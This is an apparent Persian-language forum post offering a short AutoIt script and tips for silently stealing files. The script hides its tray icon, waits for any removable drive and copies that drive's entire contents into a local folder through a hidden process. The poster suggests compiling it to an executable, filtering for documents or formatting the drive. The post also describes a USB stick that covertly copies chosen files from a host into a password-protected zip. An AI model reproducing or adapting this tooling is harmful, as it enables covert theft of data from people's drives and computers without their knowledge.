چرا راه دور میری نیازی به VB نیست با AutoIt با چند خط دستور میتونی کلی کار انجام بدی.
مثلا:
Opt("TrayIconHide", 1)
$DumpDir = @WorkingDir & "\"
$OldCount=0
while 1
$var=DriveGetDrive ( "REMOVABLE" )
If not @error and $var[0] <> $OldCount Then
For $i = 1 to $var[0]
if $var[$i] <> "a:" then
$CommandString = 'xcopy ' & $var[$i] & '\ ' & '"' & $DumpDir & DriveGetLabel ($var[$i]) & '-Dump" /EHY'
;MsgBox(4096, "", $CommandString)
DirCreate(DriveGetLabel ($var[$i]) & "-Dump")
;MsgBox(4096, "", DriveGetLabel ($var[$i]))
Run($CommandString, "", @SW_HIDE)
EndIf
Next
$OldCount=$var[0]
EndIf
sleep (5000)
WEnd
اسکریپت بالا منتظر میمونه تا یه removable درایو به سیستم وصل بشه و وقتی وصل شد تمام اطلاعاتش رو توی یه دایرکتوری به اسم درایو تو پوشه کپی میکنه.
میتونی خیلی کار روش انجام بدی مثلا فقط فایلهای Doc رو کپی کنه یا فرمت کنه و .....
این اسکریپت رو میتونی کامپایل کنی و به فایل اجرایی تبدیل کنی.
برعکس این کار رو هم میشه انجام داد یعنی:
وقتی فلشت رو به یه سیستم وصل کردی اتوماتیک و بدون پیغام فایلهایی رو که مد نظرت هست رو کپی کنه تو فلش حتی میتونی فایلهایی رو که کپی میکه رو تو یه فایل زیپ با پسورد ذخیره کنه تو فلش.
.....